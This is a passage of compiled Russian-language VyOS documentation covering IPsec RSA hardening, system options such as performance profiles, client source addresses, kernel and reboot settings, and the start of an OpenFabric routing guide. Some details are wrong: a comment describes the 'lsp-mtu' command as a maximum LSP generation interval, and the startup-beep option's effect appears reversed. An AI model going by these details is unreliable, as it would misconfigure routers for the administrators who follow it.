set vpn ipsec ike-group IKE-GROUP dead-peer-detection interval '30'
commit
```

**3. Rate limiting:**

```bash
configure
set firewall name WAN_LOCAL rule 85 action 'drop'
set firewall name WAN_LOCAL rule 85 protocol 'udp'
set firewall name WAN_LOCAL rule 85 destination port '500'
set firewall name WAN_LOCAL rule 85 recent count '20'
set firewall name WAN_LOCAL rule 85 recent time '60'
commit
```

### Соответствие стандартам

**1. Соответствие ГОСТ (для РФ):**

VyOS поддерживает стандартные алгоритмы. Для ГОСТ криптографии требуется дополнительная интеграция.

**2. Соответствие PCI DSS:**

- Использование AES-256 или выше
- Регулярная ротация ключей (минимум ежегодно)
- Логирование всех событий безопасности
- Ограничение административного доступа

**3. Соответствие HIPAA:**

- Шифрование всех данных в транзите (AES-256)
- Аутентификация узлов (RSA 2048+ бит)
- Аудит и логирование доступа
- Регулярные проверки безопасности

### Планирование disaster recovery

**1. Документирование конфигурации:**

- Схемы топологии VPN
- Список всех публичных ключей и их расположение
- Процедуры восстановления

**2. Резервные копии:**

```bash
# Автоматическое резервирование конфигурации и ключей
configure
set system task-scheduler task daily-backup crontab-spec '0 3 * * *'
set system task-scheduler task daily-backup executable path '/config/scripts/full-backup.sh'
commit
```

**3. Тестирование восстановления:**

Регулярно проверяйте процесс восстановления:

- Восстановление конфигурации из резервной копии
- Импорт ключей на новую систему
- Проверка работоспособности VPN после восстановления

## Заключение

RSA-аутентификация для IPsec VPN в VyOS предоставляет надежный и масштабируемый метод защиты VPN-туннелей. Ключевые преимущества включают:

- **Безопасность:** Асимметричная криптография исключает риски, связанные с общими ключами
- **Масштабируемость:** Упрощенное управление ключами в больших сетях
- **Гибкость:** Поддержка динамических IP-адресов и различных топологий
- **Совместимость:** Стандартные протоколы обеспечивают совместимость с различными VPN-решениями

**Основные рекомендации:**

1. Используйте ключи длиной минимум 2048 бит (рекомендуется 3072 бита)
2. Регулярно ротируйте ключи (каждые 12-24 месяца)
3. Защищайте приватные ключи паролями
4. Используйте современные криптографические алгоритмы (AES-256, SHA-256, DH-группа 14+)
5. Включайте PFS (Perfect Forward Secrecy)
6. Настраивайте Dead Peer Detection для автоматического восстановления
7. Мониторьте состояние VPN-туннелей
8. Регулярно обновляйте VyOS для получения исправлений безопасности
9. Документируйте конфигурацию и процедуры
10. Проводите регулярное тестирование и валидацию

При правильной настройке и управлении RSA-аутентификация обеспечивает надежную защиту для VPN-инфраструктуры любого масштаба - от простых Site-to-Site соединений до сложных Hub-and-Spoke и Full-Mesh топологий.


---

# Option - Системные опции

Source: https://opennix.org/docs/vyos/system/vyos-option/



Системные опции VyOS позволяют настроить поведение системы, оптимизировать производительность, управлять HTTP/SSH клиентами и изменять различные system-wide параметры для адаптации роутера под специфические требования.

## Обзор

### Категории системных опций

**Performance Options**:
- Throughput optimization для высокой пропускной способности
- Latency optimization для низких задержек
- Kernel tweaks для специфических workloads

**Network Client Options**:
- HTTP client source address и interface
- SSH client source address и interface
- Контроль исходящих соединений

**Hardware Options**:
- Keyboard layout для консоли
- Startup beep enable/disable
- Root partition auto-resize

**System Behavior**:
- CTRL-ALT-DELETE behavior (ignore/reboot/poweroff)
- Reboot on kernel panic
- Reboot on upgrade failure

**Kernel Options**:
- CPU mitigations disable
- Power saving disable
- AMD P-State driver mode
- Quiet boot mode

### Применение в облачных средах

**Yandex Cloud**:
- Performance tuning для compute-optimized instances
- HTTP client source для metadata service
- Auto-resize для disk expansion

**VK Cloud**:
- Latency optimization для high-performance workloads
- SSH client source для management networks
- Kernel optimizations для specific instance types

### Требования к изменениям

Большинство опций требуют:
- Configuration commit
- System reboot для kernel и performance опций
- Проверка после применения

## Performance Options

### Performance Profiles

VyOS предоставляет два performance профиля для оптимизации network stack:

**Throughput Profile**:
```bash
# Оптимизация для максимальной пропускной способности
set system option performance throughput

commit
```

**Назначение**:
- Максимизация network throughput
- Оптимальные buffer sizes для bulk data transfer
- Подходит для file servers, backup, content delivery

**Изменяемые параметры**:
- Увеличенные TCP/UDP buffers
- Aggressive TCP window scaling
- Optimized interrupt coalescing

**Latency Profile**:
```bash
# Оптимизация для минимальных задержек
set system option performance latency

commit
```

**Назначение**:
- Минимизация network latency
- Быстрая packet processing
- Подходит для VoIP, gaming, real-time applications

**Изменяемые параметры**:
- Reduced buffer sizes
- Faster interrupt processing
- Lower latency network stack tuning

### Применение Performance Profiles

**После применения требуется reboot**:
```bash
set system option performance throughput
commit
save

# Reboot system
reboot now
```

### Проверка активного профиля

```bash
# Проверить текущую конфигурацию
show configuration system option performance

# System network parameters
show system kernel-parameters | grep net
```

### Default Performance Mode

Если performance profile не задан:
- Используется balanced mode
- Default Linux kernel network stack settings
- Подходит для general purpose workloads

## HTTP Client Configuration

### HTTP Client Source Address

Настройка source address для исходящих HTTP соединений:

```bash
# Использовать specific IP для HTTP requests
set system option http-client source-address 10.0.1.1

commit
```

**Применение**:
- Контроль source IP для HTTP traffic
- Routing specific для management connections
- Compliance с firewall rules

### HTTP Client Source Interface

Настройка source interface для исходящих HTTP соединений:

```bash
# Использовать specific interface для HTTP requests
set system option http-client source-interface eth0

commit
```

**Применение**:
- Force HTTP через specific interface
- Management traffic isolation
- Multi-homed routing control

### Комбинированная конфигурация

```bash
# Source interface и address
set system option http-client source-interface eth1
set system option http-client source-address 192.168.1.1

commit
```

### Use Cases для HTTP Client Options

**Yandex Cloud Metadata Service**:
```bash
# Ensure HTTP metadata requests из правильного interface
set system option http-client source-interface eth0
set system option http-client source-address 10.0.0.10

commit
```

**VK Cloud Management Network**:
```bash
# Isolate management HTTP traffic
set system option http-client source-interface eth2
set system option http-client source-address 172.16.1.1

commit
```

**Multi-WAN с HTTP источником**:
```bash
# Force HTTP updates через specific WAN
set system option http-client source-interface eth1
set system option http-client source-address 203.0.113.1

commit
```

## SSH Client Configuration

### SSH Client Source Address

Настройка source address для исходящих SSH соединений:

```bash
# Использовать specific IP для SSH connections
set system option ssh-client source-address 10.0.1.1

commit
```

**Применение**:
- Контроль source IP для SSH traffic
- Firewall rules на remote servers
- Audit и logging

### SSH Client Source Interface

Настройка source interface для исходящих SSH соединений:

```bash
# Использовать specific interface для SSH
set system option ssh-client source-interface eth1

commit
```

**Применение**:
- Force SSH через management interface
- Network isolation
- Multi-homed routing

### Пример: SSH через Management Network

```bash
# SSH только через management interface
set system option ssh-client source-interface eth2
set system option ssh-client source-address 192.168.100.1

commit

# Проверка
ssh admin@remote-server
# Connection будет из 192.168.100.1
```

## Keyboard Layout

### Изменение раскладки клавиатуры

Keyboard layout влияет только на system console (не SSH):

```bash
# Доступные layouts: us, fr, de, fi, no, dk
set system option keyboard-layout us

commit
```

**Supported Layouts**:
- `us` - US English (default)
- `fr` - French
- `de` - German
- `fi` - Finnish
- `no` - Norwegian
- `dk` - Danish

### Применение

**Изменение требует reboot**:
```bash
set system option keyboard-layout de
commit
save

reboot now
```

### Проверка текущей раскладки

```bash
# Конфигурация
show configuration system option keyboard-layout

# Console keyboard settings
localectl status
```

### Примечания

- Keyboard layout влияет только на physical console
- SSH sessions используют client keyboard layout
- Serial console также использует configured layout

## Startup Beep

### Enable/Disable System Beep

Управление звуковым сигналом при загрузке системы:

**Disable Beep** (рекомендуется для datacenter):
```bash
# Отключить startup beep
set system option startup-beep

commit
save
```

**Enable Beep** (default behavior):
```bash
# Включить startup beep (удалить опцию)
delete system option startup-beep

commit
save
```

### Применение

- Изменение требует reboot
- Полезно в datacenter для снижения шума
- Diagnostic tool для troubleshooting загрузки

### Проверка

```bash
# Текущая конфигурация
show configuration system option startup-beep

# После reboot system beeps или нет
```

## CTRL-ALT-DELETE Behavior

### Настройка поведения CTRL-ALT-DELETE

Control+Alt+Delete на console keyboard может быть настроен:

**Ignore** (рекомендуется для production):
```bash
# Игнорировать CTRL-ALT-DELETE
set system option ctrl-alt-delete ignore

commit
save
```

**Reboot**:
```bash
# Reboot при CTRL-ALT-DELETE
set system option ctrl-alt-delete reboot

commit
save
```

**Poweroff**:
```bash
# Poweroff при CTRL-ALT-DELETE
set system option ctrl-alt-delete poweroff

commit
save
```

**Default** (без конфигурации):
```bash
# Использовать system default (обычно ignore)
delete system option ctrl-alt-delete

commit
```

### Безопасность

**Production Environment**:
```bash
# Всегда ignore для предотвращения accidental reboots
set system option ctrl-alt-delete ignore

commit
```

**Development/Lab**:
```bash
# Reboot для удобства
set system option ctrl-alt-delete reboot

commit
```

### Проверка

```bash
# Текущая конфигурация
show configuration system option ctrl-alt-delete

# Systemd configuration
systemctl status ctrl-alt-del.target
```

## Reboot on Panic

### Automatic Reboot при Kernel Panic

Настройка автоматической перезагрузки при kernel panic:

**Enable Reboot on Panic**:
```bash
# Автоматический reboot при kernel panic
set system option reboot-on-panic

commit
save
```

**Disable** (default):
```bash
# Не reboot при panic (для debugging)
delete system option reboot-on-panic

commit
```

### Применение

**Production Servers**:
```bash
# Enable для автоматического recovery
set system option reboot-on-panic

commit
```

**Development/Debugging**:
```bash
# Disable для анализа panic
delete system option reboot-on-panic

commit
```

### Kernel Panic Timeout

Timeout настраивается через sysctl:
```bash
# Set panic timeout (секунды перед reboot)
set system sysctl parameter kernel.panic value 10

commit
```

### Проверка

```bash
# VyOS конфигурация
show configuration system option reboot-on-panic

# Kernel parameter
cat /proc/sys/kernel/panic
```

## Reboot on Upgrade Failure

### Automatic Reboot при Failed Upgrade

Rollback и reboot при неудачном system upgrade:

**Enable с Timeout**:
```bash
# Reboot после 5 минут если upgrade failed
set system option reboot-on-upgrade-failure 300

commit
save
```

**Disable** (default):
```bash
delete system option reboot-on-upgrade-failure

commit
```

### Timeout Values

```bash
# 5 минут (300 секунд)
set system option reboot-on-upgrade-failure 300

# 10 минут
set system option reboot-on-upgrade-failure 600

# 1 минута (minimum for testing)
set system option reboot-on-upgrade-failure 60

commit
```

### Use Case

**Remote Upgrades**:
```bash
# Safety net для remote upgrades
set system option reboot-on-upgrade-failure 600

# Add system image
add system image https://example.com/vyos.iso

# System автоматически reboot если upgrade fails
```

## Root Partition Auto-Resize

### Automatic Root Filesystem Expansion

Автоматическое расширение root partition при загрузке:

**Enable Auto-Resize**:
```bash
# Расширить root filesystem при первой загрузке
set system option root-partition-auto-resize

commit
save
```

**Disable**:
```bash
delete system option root-partition-auto-resize

commit
```

### Применение в Cloud

**Yandex Cloud**:
```bash
# При увеличении disk size в консоли
set system option root-partition-auto-resize

commit
save

# Reboot для применения
reboot now
```

**VK Cloud**:
```bash
# После resize instance disk
set system option root-partition-auto-resize

commit
reboot now
```

### Проверка расширения

```bash
# Disk space до
df -h /

# После reboot с auto-resize
df -h /
# Filesystem должен использовать весь доступный disk
```

### Manual Resize (альтернатива)

```bash
# Growpart для partition expansion
sudo growpart /dev/vda 1

# Resize filesystem
sudo resize2fs /dev/vda1

# Проверка
df -h /
```

## Kernel Options

### Disable CPU Mitigations

Отключение CPU mitigations для производительности (Spectre, Meltdown):

**Disable Mitigations**:
```bash
# Отключить CPU vulnerability mitigations
set system option kernel disable-mitigations

commit
save
reboot now
```

**Warning**: Отключение mitigations снижает security для повышения performance. Используйте только в trusted environments.

### Disable Power Saving

Отключение CPU power saving для максимальной производительности:

**Disable Power Saving**:
```bash
# Максимальная performance без power saving
set system option kernel disable-power-saving

commit
save
reboot now
```

**Применение**:
- High-performance compute workloads
- Низкая latency applications
- Когда power consumption не критична

### AMD P-State Driver

Настройка AMD P-State driver mode (для AMD CPUs):

**Available Modes**:
```bash
# Passive mode (default)
set system option kernel amd-pstate-driver passive

# Active mode (более aggressive power management)
set system option kernel amd-pstate-driver active

# Guided mode (balance)
set system option kernel amd-pstate-driver guided

commit
save
reboot now
```

**Passive Mode**:
- Default mode
- Legacy frequency scaling
- Better compatibility

**Active Mode**:
- Hardware-controlled frequency
- Better power efficiency
- Newer AMD CPUs

**Guided Mode**:
- Hybrid approach
- Balance performance/power

### Quiet Boot

Скрыть kernel boot messages:

**Enable Quiet Boot**:
```bash
# Минимальные boot messages
set system option kernel quiet

commit
save
reboot now
```

**Disable** (verbose boot):
```bash
delete system option kernel quiet

commit
reboot now
```

### Проверка Kernel Options

```bash
# Boot parameters
cat /proc/cmdline

# CPU frequency governor
cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

# CPU mitigations
cat /sys/devices/system/cpu/vulnerabilities/*
```

## Примеры конфигураций

### Пример 1: Yandex Cloud - Performance Tuning

**Scenario**: High-throughput compute instance в Yandex Cloud.

```bash
configure

# Throughput optimization
set system option performance throughput

# HTTP client для metadata service
set system option http-client source-interface eth0

# Auto-resize для disk expansion
set system option root-partition-auto-resize

# Reboot on panic для availability
set system option reboot-on-panic

# Disable unnecessary beep
set system option startup-beep

# Ignore CTRL-ALT-DELETE
set system option ctrl-alt-delete ignore

# Kernel optimizations
set system option kernel disable-power-saving

commit
save

# Reboot для применения kernel options
reboot now
```

**Результат**:
- Максимальная network throughput
- Автоматический disk resize
- High availability через reboot on panic
- Оптимизированная производительность

### Пример 2: VK Cloud - Low Latency VoIP Router

**Scenario**: VoIP router в VK Cloud требующий минимальных задержек.

```bash
configure

# Latency optimization
set system option performance latency

# SSH через management network
set system option ssh-client source-interface eth1
set system option ssh-client source-address 172.16.1.10

# HTTP через management
set system option http-client source-interface eth1
set system option http-client source-address 172.16.1.10

# Reboot on panic
set system option reboot-on-panic

# Ignore CTRL-ALT-DELETE
set system option ctrl-alt-delete ignore

# Disable startup beep
set system option startup-beep

# Kernel options для low latency
set system option kernel disable-power-saving

commit
save
reboot now
```

**Результат**:
- Минимальная network latency для VoIP
- Isolated management traffic
- Consistent performance

### Пример 3: Enterprise Datacenter - Security-Focused

**Scenario**: Enterprise router с focus на security.

```bash
configure

# Balanced performance (no specific profile)
# Используем default

# HTTP client control
set system option http-client source-interface eth2
set system option http-client source-address 192.168.100.1

# SSH client control
set system option ssh-client source-interface eth2
set system option ssh-client source-address 192.168.100.1

# Security settings
set system option ctrl-alt-delete ignore

# Reboot on panic disabled для forensics
delete system option reboot-on-panic

# Disable beep
set system option startup-beep

# Keep CPU mitigations enabled (default)
# Не используем disable-mitigations для security

# Quiet boot для cleaner console
set system option kernel quiet

commit
save
reboot now
```

**Результат**:
- Controlled management traffic
- Security mitigations enabled
- Production-ready configuration

### Пример 4: Development Lab - Convenience

**Scenario**: Development/testing environment.

```bash
configure

# Throughput для testing
set system option performance throughput

# CTRL-ALT-DELETE reboot для удобства
set system option ctrl-alt-delete reboot

# Reboot on panic
set system option reboot-on-panic

# Verbose boot для debugging
delete system option kernel quiet

# German keyboard для локального console
set system option keyboard-layout de

commit
save
reboot now
```

**Результат**:
- Удобство для developers
- Easy troubleshooting
- Fast recovery

## Мониторинг и диагностика

### Проверка системных опций

```bash
# Все system options
show configuration system option

# Specific option
show configuration system option performance
show configuration system option http-client
show configuration system option ssh-client
```

### Performance Metrics

**Network Throughput**:
```bash
# Interface statistics
show interfaces ethernet eth0

# Detailed stats
show interfaces ethernet eth0 statistics

# Monitor traffic
monitor interface eth0
```

**Latency Testing**:
```bash
# Ping test
ping 8.8.8.8

# MTR для latency analysis
mtr 8.8.8.8

# Traffic capture
monitor traffic interface eth0
```

### HTTP Client Verification

```bash
# Test HTTP source
curl -v http://example.com

# Check connection source
tcpdump -i eth1 -n port 80

# Verify routing
show ip route
```

### SSH Client Verification

```bash
# SSH с verbose
ssh -v user@remote-host

# Check SSH source
# На remote host:
tail -f /var/log/auth.log
# Должен показать source address
```

### Kernel Parameters

```bash
# Boot command line
cat /proc/cmdline

# CPU frequency
cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

# Performance stats
cat /proc/stat

# Memory usage
free -h

# System load
uptime
```

### Performance Testing

**Throughput Test**:
```bash
# iperf3 server на remote
iperf3 -s

# iperf3 client на VyOS
iperf3 -c remote-server -t 60
# Должен показать high throughput с throughput profile
```

**Latency Test**:
```bash
# hping3 для latency
sudo hping3 -1 remote-server --fast

# sockperf для network latency
sockperf ping-pong -i remote-server -p 5001
```

## Troubleshooting

### Performance Profile не работает

**Проблема**: Performance profile не улучшает производительность.

**Причины**:
1. System не был rebooted после изменений
2. Hardware limitations
3. Bottleneck в другом месте (CPU, disk)

**Решение**:
```bash
# Проверить конфигурацию
show configuration system option performance

# Проверить kernel parameters
cat /proc/cmdline | grep performance

# Если нет - reboot required
reboot now

# После reboot verify
cat /proc/sys/net/core/rmem_max
cat /proc/sys/net/core/wmem_max
```

### HTTP Client Source не работает

**Проблема**: HTTP requests не используют configured source.

**Причины**:
1. Source interface down
2. No route через source interface
3. Source address не на source interface

**Диагностика**:
```bash
# Check interface status
show interfaces

# Check routing table
show ip route

# Check source address
ip addr show eth1

# Test connectivity
ping -I eth1 8.8.8.8
```

**Решение**:
```bash
# Verify source interface up
show interfaces ethernet eth1

# Verify source address exists
show interfaces ethernet eth1 address

# Fix if needed
set interfaces ethernet eth1 address 10.0.1.1/24

# Verify routing
set protocols static route 0.0.0.0/0 next-hop 10.0.1.254 interface eth1

commit
```

### Keyboard Layout не изменился

**Проблема**: Keyboard layout остался прежним после настройки.

**Причины**:
1. System не был rebooted
2. Опция задана неправильно
3. Console vs SSH confusion

**Решение**:
```bash
# Verify configuration
show configuration system option keyboard-layout

# Reboot system
reboot now

# After reboot test на console (не SSH)
# SSH использует client keyboard layout
```

### CTRL-ALT-DELETE не игнорируется

**Проблема**: CTRL-ALT-DELETE вызывает reboot несмотря на ignore.

**Причины**:
1. Configuration не saved
2. Systemd не обновлен
3. Testing на SSH (не работает, только console)

**Решение**:
```bash
# Set ignore
set system option ctrl-alt-delete ignore
commit
save

# Verify systemd
systemctl status ctrl-alt-del.target

# Test только на physical console
```

### Reboot on Panic не срабатывает

**Проблема**: System не reboots при kernel panic.

**Причины**:
1. Panic timeout не задан
2. Hardware hang
3. Panic слишком серьезный для reboot

**Решение**:
```bash
# Enable reboot on panic
set system option reboot-on-panic
commit

# Set panic timeout
set system sysctl parameter kernel.panic value 10
commit
save

# Test trigger panic (ONLY IN TEST ENVIRONMENT)
# echo c > /proc/sysrq-trigger
```

### Root Partition не расширился

**Проблема**: Root partition не expanded после disk resize.

**Причины**:
1. System не был rebooted
2. Partition table не обновлена
3. Filesystem уже maximum size

**Диагностика**:
```bash
# Check disk size
lsblk

# Check filesystem size
df -h /

# Check partition table
sudo fdisk -l /dev/vda
```

**Решение**:
```bash
# Enable auto-resize
set system option root-partition-auto-resize
commit
save

# Reboot
reboot now

# Manual resize если auto-resize failed
sudo growpart /dev/vda 1
sudo resize2fs /dev/vda1

# Verify
df -h /
```

### Kernel Options не применились

**Проблема**: Kernel options (disable-mitigations, disable-power-saving) не active.

**Причины**:
1. System не был rebooted
2. Hardware не поддерживает опцию
3. Conflicting kernel parameters

**Диагностика**:
```bash
# Check boot parameters
cat /proc/cmdline

# Should see mitigations=off если configured
# Should see processor.max_cstate=0 для disable-power-saving
```

**Решение**:
```bash
# Verify configuration
show configuration system option kernel

# Reboot required для kernel options
reboot now

# After reboot verify
cat /proc/cmdline

# Check CPU governor
cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
```

## Безопасность

### Performance vs Security Trade-offs

**Disable CPU Mitigations**:
```bash
# Повышает performance НО снижает security
set system option kernel disable-mitigations
```

**Риски**:
- Уязвим к Spectre, Meltdown attacks
- Side-channel vulnerabilities
- Используйте только в trusted networks

**Рекомендация**:
```bash
# Production - keep mitigations enabled (default)
delete system option kernel disable-mitigations

# Trusted lab - можно disable для performance
set system option kernel disable-mitigations
```

### CTRL-ALT-DELETE Security

**Production**:
```bash
# Всегда ignore для предотвращения accidental reboots
set system option ctrl-alt-delete ignore
```

**Physical Security**:
- Console access должен быть физически защищен
- Ignore CTRL-ALT-DELETE не заменяет physical security
- Monitor console access

### Source Address Security

**Whitelisting**:
```bash
# Control source для HTTP/SSH
set system option http-client source-address 10.0.1.1
set system option ssh-client source-address 10.0.1.1

# Remote firewalls могут whitelist эти IPs
```

**Audit**:
```bash
# Log outgoing connections
set system syslog host 192.168.1.100 facility local0 level info

# Monitor source addresses
tcpdump -i any -n | grep "10.0.1.1"
```

## Интеграция с облачными платформами

### Yandex Cloud Metadata Service

**HTTP Client для Metadata**:
```bash
# Ensure metadata requests через правильный interface
set system option http-client source-interface eth0

# Metadata service IP: 169.254.169.254
# Должен быть доступен через eth0

commit
```

**Testing**:
```bash
# Test metadata access
curl http://169.254.169.254/latest/meta-data/

# Should return metadata
```

### VK Cloud Instance Metadata

**Similar Configuration**:
```bash
# HTTP client через primary interface
set system option http-client source-interface eth0

# VK Cloud metadata service
curl http://169.254.169.254/openstack/latest/meta_data.json

commit
```

### Cloud Disk Auto-Resize

**Yandex Cloud**:
```bash
# При увеличении disk в консоли
set system option root-partition-auto-resize
commit
save
reboot now

# После reboot filesystem expanded
```

**VK Cloud**:
```bash
# Similar process
set system option root-partition-auto-resize
commit
save
reboot now
```

## Лучшие практики

1. **Performance Tuning**:
   - Используйте throughput profile для file servers, backup
   - Используйте latency profile для VoIP, gaming, real-time apps
   - Test before/after для измерения improvement
   - Reboot после изменения performance profile

2. **HTTP/SSH Client Source**:
   - Настройте source для predictable routing
   - Whitelist source addresses на remote firewalls
   - Document source configurations для troubleshooting
   - Test connectivity после изменений

3. **Keyboard Layout**:
   - Настройте если используете non-US keyboard на console
   - Помните: только для console, не SSH
   - Reboot required после изменения

4. **Startup Beep**:
   - Disable в datacenter для noise reduction
   - Keep enabled в small deployments для diagnostic
   - Personal preference

5. **CTRL-ALT-DELETE**:
   - Всегда ignore в production
   - Physical console security критична
   - Document behavior для operations team

6. **Reboot on Panic**:
   - Enable в production для automatic recovery
   - Disable в development для debugging
   - Set reasonable panic timeout (10-60 секунд)
   - Monitor panic events

7. **Root Auto-Resize**:
   - Enable для cloud instances с dynamic disks
   - Test resize procedure перед production
   - Monitor filesystem space после resize

8. **Kernel Options**:
   - Disable mitigations только в trusted environments
   - Disable power-saving для consistent performance
   - AMD P-State для новых AMD CPUs
   - Always test после kernel changes

9. **Change Management**:
   - Test system options в lab environment
   - Document all changes
   - Plan reboot windows
   - Backup configuration перед changes
   - Verify после reboot

10. **Monitoring**:
    - Monitor performance metrics после tuning
    - Track source address usage
    - Log kernel panics
    - Alert on unexpected reboots

## Заключение

Системные опции VyOS предоставляют гибкие инструменты для настройки поведения системы и оптимизации производительности. Ключевые возможности:

- **Performance profiles** - throughput и latency optimization для specific workloads
- **HTTP/SSH client source** - контроль исходящих connections для security и routing
- **Keyboard layout** - поддержка различных layouts для console access
- **System behavior** - настройка startup beep, CTRL-ALT-DELETE, reboot on panic
- **Kernel options** - advanced tuning для performance и power management
- **Cloud integration** - auto-resize и metadata service support

Правильная конфигурация system options позволяет:
- Оптимизировать performance под specific use cases
- Улучшить security через source address control
- Повысить availability через automatic reboot on panic
- Упростить cloud deployment через auto-resize

Используйте system options для адаптации VyOS под ваши специфические требования:
- High-throughput workloads → throughput profile
- Low-latency applications → latency profile
- Cloud environments → auto-resize и metadata configuration
- Enterprise security → source address control и mitigations enabled

Всегда тестируйте изменения в non-production environment и планируйте reboot windows, так как большинство опций требуют system restart для применения.


---

# OpenFabric - протокол маршрутизации для ЦОД

Source: https://opennix.org/docs/vyos/routing/vyos-openfabric/


## Обзор

OpenFabric - это протокол маршрутизации на основе состояния каналов, разработанный специально для современных архитектур центров обработки данных (ЦОД). Протокол является производным от IS-IS и оптимизирован для работы в топологиях Spine-Leaf (Clos) с большим количеством ECMP путей.

### Основные характеристики

- **Основа на IS-IS**: Использует проверенную технологию протокола IS-IS с оптимизациями для ЦОД
- **Плоская топология**: Отсутствие уровней L1/L2, все маршрутизаторы находятся на одном уровне
- **Dual-stack**: Нативная поддержка IPv4 и IPv6 одновременно
- **ECMP**: Эффективная поддержка множественных равноценных путей
- **Масштабируемость**: Оптимизирован для больших Spine-Leaf топологий
- **Быстрая сходимость**: Минимальное время реакции на изменения топологии

### Архитектура OpenFabric

OpenFabric предназначен для работы в топологии Clos (Spine-Leaf), которая стала стандартом де-факто для современных ЦОД:

```
┌─────────────────────────────────────────────────────────┐
│                    Leaf Layer (Tier 2)                   │
│  ┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐   │
│  │ Leaf 1  │  │ Leaf 2  │  │ Leaf 3  │  │ Leaf 4  │   │
│  └────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘   │
└───────┼────────────┼────────────┼────────────┼─────────┘
        │            │            │            │
        └────┬───────┴─────┬──────┴─────┬──────┘
             │             │            │
┌────────────┼─────────────┼────────────┼────────────────┐
│            │             │            │                 │
│  ┌─────────▼──┐  ┌───────▼────┐  ┌───▼───────┐       │
│  │  Spine 1   │  │  Spine 2   │  │  Spine 3  │       │
│  └────────────┘  └────────────┘  └───────────┘       │
│                  Spine Layer (Tier 1)                  │
└────────────────────────────────────────────────────────┘
```

### Отличия от традиционного IS-IS

| Характеристика | IS-IS | OpenFabric |
|----------------|-------|------------|
| Уровни иерархии | L1, L2, L1/L2 | Плоская топология |
| Целевое применение | Провайдерские сети | Центры обработки данных |
| Топология | Произвольная | Spine-Leaf (Clos) |
| Оптимизация | Общего назначения | Для ECMP и ЦОД |
| Flood оптимизация | Стандартная | Улучшенная для fabric |

## Базовая конфигурация

### Network Entity Title (NET)

NET - это уникальный идентификатор маршрутизатора в домене OpenFabric. Конфигурация NET является обязательной.

**Формат NET:**

```
49.AREA.SYSTEM-ID.SELECTOR
```

**Компоненты:**

- **AFI (Authority and Format Identifier)**: `49` - частная адресация
- **Area Identifier**: Идентификатор зоны (обычно `0001`)
- **System Identifier**: Уникальный идентификатор системы (48 бит, обычно 12 шестнадцатеричных цифр)
- **NET Selector**: Всегда `00`

**Примеры NET:**

```bash
# NET из IP-адреса 192.168.100.2
49.0001.1921.6810.0002.00

# NET из MAC-адреса 00:50:56:00:10:02
49.0001.0050.5600.1002.00

# Произвольный NET
49.0001.0000.0000.0001.00
```

**Конфигурация NET:**

```bash
set protocols openfabric net 49.0001.1921.6810.0002.00
```

### Создание домена OpenFabric

Домен - это логическая группировка маршрутизаторов и интерфейсов в OpenFabric.

```bash
# Создание домена с именем DATACENTER
set protocols openfabric domain DATACENTER

# Конфигурация NET для домена
set protocols openfabric net 49.0001.1921.6810.0001.00
```

### Включение интерфейсов

Интерфейсы необходимо явно включить в домен OpenFabric с указанием семейств адресов.

```bash
# Включение интерфейса eth1 для IPv4
set protocols openfabric domain DATACENTER interface eth1 address-family ipv4

# Включение интерфейса eth2 для IPv4 и IPv6
set protocols openfabric domain DATACENTER interface eth2 address-family ipv4
set protocols openfabric domain DATACENTER interface eth2 address-family ipv6

# Включение loopback интерфейса
set protocols openfabric domain DATACENTER interface lo address-family ipv4
```

### Минимальная рабочая конфигурация

```bash
# Конфигурация Spine маршрутизатора
set protocols openfabric net 49.0001.1921.6810.0001.00
set protocols openfabric domain DC interface eth1 address-family ipv4
set protocols openfabric domain DC interface eth2 address-family ipv4
set protocols openfabric domain DC interface eth3 address-family ipv4
set protocols openfabric domain DC interface eth4 address-family ipv4
set protocols openfabric domain DC interface lo address-family ipv4
commit
save
```

## Конфигурация Fabric Tier

Fabric Tier - это уровень в иерархии Spine-Leaf, который определяет роль маршрутизатора.

### Уровни Fabric

- **Tier 0**: Зарезервировано для будущего использования
- **Tier 1**: Spine уровень (агрегация)
- **Tier 2**: Leaf уровень (доступ к серверам)

### Конфигурация Tier

```bash
# Конфигурация Spine маршрутизатора (Tier 1)
set protocols openfabric domain DATACENTER fabric-tier 1

# Конфигурация Leaf маршрутизатора (Tier 2)
set protocols openfabric domain DATACENTER fabric-tier 2
```

**Важно**: Правильная конфигурация Tier критична для оптимальной работы flooding механизма и предотвращения петель.

## Параметры интерфейсов

### Hello интервал и multiplier

Hello пакеты используются для обнаружения соседей и поддержания смежности.

```bash
# Установка hello интервала (по умолчанию: 3 секунды)
set protocols openfabric domain DATACENTER interface eth1 hello-interval 5

# Установка hello multiplier (по умолчанию: 3)
# Dead интервал = hello-interval × hello-multiplier
set protocols openfabric domain DATACENTER interface eth1 hello-multiplier 3
```

**Расчет Dead интервала:**

```
Dead Interval = Hello Interval × Hello Multiplier
Пример: 5 секунд × 3 = 15 секунд
```

### Метрика интерфейса

Метрика влияет на выбор пути. Меньшая метрика предпочтительнее.

```bash
# Установка метрики интерфейса (по умолчанию: 10)
set protocols openfabric domain DATACENTER interface eth1 metric 100

# Разные метрики для разных интерфейсов
set protocols openfabric domain DATACENTER interface eth1 metric 10
set protocols openfabric domain DATACENTER interface eth2 metric 20
```

**Диапазон метрики**: 1 - 16,777,215

### Passive интерфейс

Passive интерфейс анонсирует сети, но не формирует смежности.

```bash
# Полезно для loopback интерфейсов и интерфейсов к серверам
set protocols openfabric domain DATACENTER interface lo passive

# Интерфейс к серверам без OpenFabric
set protocols openfabric domain DATACENTER interface eth5 passive
set protocols openfabric domain DATACENTER interface eth5 address-family ipv4
```

### CSNP и PSNP интервалы

CSNP (Complete Sequence Number PDU) и PSNP (Partial Sequence Number PDU) используются для синхронизации базы данных состояния каналов.

```bash
# Установка CSNP интервала (по умолчанию: 10 секунд)
set protocols openfabric domain DATACENTER interface eth1 csnp-interval 15

# Установка PSNP интервала (по умолчанию: 2 секунды)
set protocols openfabric domain DATACENTER interface eth1 psnp-interval 3
```

## Параметры LSP (Link State PDU)

### Генерация LSP

Контроль частоты генерации новых LSP для оптимизации нагрузки.

```bash
# Минимальный интервал между генерациями LSP (миллисекунды)
set protocols openfabric domain DATACENTER lsp-gen-interval 1

# Максимальный интервал между генерациями LSP (секунды)
set protocols openfabric domain DATACENTER lsp-mtu 1497
```

### LSP Refresh интервал

LSP периодически обновляются для предотвращения истечения срока действия.

```bash
# Интервал обновления LSP (по умолчанию: 900 секунд)
